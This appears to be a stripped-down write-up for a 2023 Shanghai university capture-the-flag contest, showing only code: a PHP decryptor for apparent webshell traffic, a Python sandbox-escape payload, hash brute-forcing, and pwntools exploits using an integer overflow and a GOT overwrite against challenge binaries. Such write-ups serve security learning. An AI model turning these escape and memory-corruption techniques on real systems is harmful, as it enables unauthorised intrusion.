第八届上海市大学生网络安全大赛暨磐石行动2023 Writeup

1
2
3
4
5
6
7

<?php
$data = 'U0JVbEhsQkNRSTRxNXVBWHRvNGFTWkdZSUpxZGdkT2QvekdmVEdaYVJheXNKV0ZkZ1dkbm53UlQ1eDdsL2JBNnBVb1g4cHFKTmdzTml2aXVJNmFuZkdnZFBqTmlQa2wzbDRzZVVjZVFnT2I5OVB3QUQ5Skp3YmlhLzVHSHdSVGE4nhik+HAVznfOIKw3';
$data = base64_decode($data);
$key="9d239b100645bd71"; 
$magicNum=hexdec(substr($key,0,2))%16; 
$data=substr($data,0,strlen($data)-$magicNum); 
echo openssl_decrypt(base64_decode($data), "AES-128-ECB", $key,OPENSSL_PKCS1_PADDING);

1

python3 bwmforpy3.py decode one.png theother.png password.png --alpha 10.0

1

print(().__class__.__bases__[0].__subclasses__()[118].__dict__['get_data'](112, 'flag'))

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

alpha = string.digits + string.ascii_lowercase
for a in alpha:
    for b in alpha:
        for c in alpha:
            for d in alpha:
                for e in alpha:
                    for f in alpha:
                        # t1 = f"flag{{09{a}{b}{c}{d}{e}{f}"
                        t1 = f"{a}{b}{c}{d}{e}{f}755ca2}}"
                        print(t1)
                        if (hash(t1) == "145723dad4c351b6fa678a5d83db3a3f08c36101b6542249f88a75f75413d1bd"):
                            print(t1, hash(t1))
                            sys.exit()
                        # t1 = f"LitCTF{{md5can{i}{j}3de{l}rypt213thoughcr{k}sh}}"
                        # t1_hash = hashlib.md5(t1.encode('utf-8')).hexdigest()
                        # if t1_hash == "496603d6953a15846cd7cc476f146771":
                            # print(t1, t1_hash)
                            # sys.exit()
                        # print(f"{t1} -> {t1_hash}")
# alpha = string.digits + string.ascii_lowercase
# for a in alpha:
#     for b in alpha:
#         for c in alpha:
#             for d in alpha:
#                 t1 = f"{a}{b}{c}{d}"
#                 if (hash(t1) == "a64cd974e0dbd6f6a289ebd2080ffb6e8ac47f794e02cde4db2239c42f63b6ba"):
#                     print(t1, hash(t1))
#                     sys.exit()
#                 # t1 = f"LitCTF{{md5can{i}{j}3de{l}rypt213thoughcr{k}sh}}"
#                 # t1_hash = hashlib.md5(t1.encode('utf-8')).hexdigest()
#                 # if t1_hash == "496603d6953a15846cd7cc476f146771":
#                     # print(t1, t1_hash)
#                     # sys.exit()
#                 # print(f"{t1} -> {t1_hash}")

1
2
3
4
5
6
7
8
9
10

from pwn import*
io = process("./pwn")
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
io.recvuntil("Input the first key: ")
buf = -0x7fffffffffffffef
io.sendline(str(buf))
io.recvuntil("Input the second key: ")
io.sendline('4200293')
io.interactive()

1
2
3
4
5
6
7
8
9
10

from pwn import*
io = process("./pwn")
elf = ELF("./pwn")
io.recvuntil("Now you can write one 4 byte value to memory. Where would you like to write?")
io.sendline(str(hex(elf.got['exit']))[:2])
io.recvuntil("What value would you like to write to ")
io.sendline('804932c')
io.recvuntil("input anything to get the final flag, it should be used to lead to a special segment fault!")
io.sendline('1')
io.recv()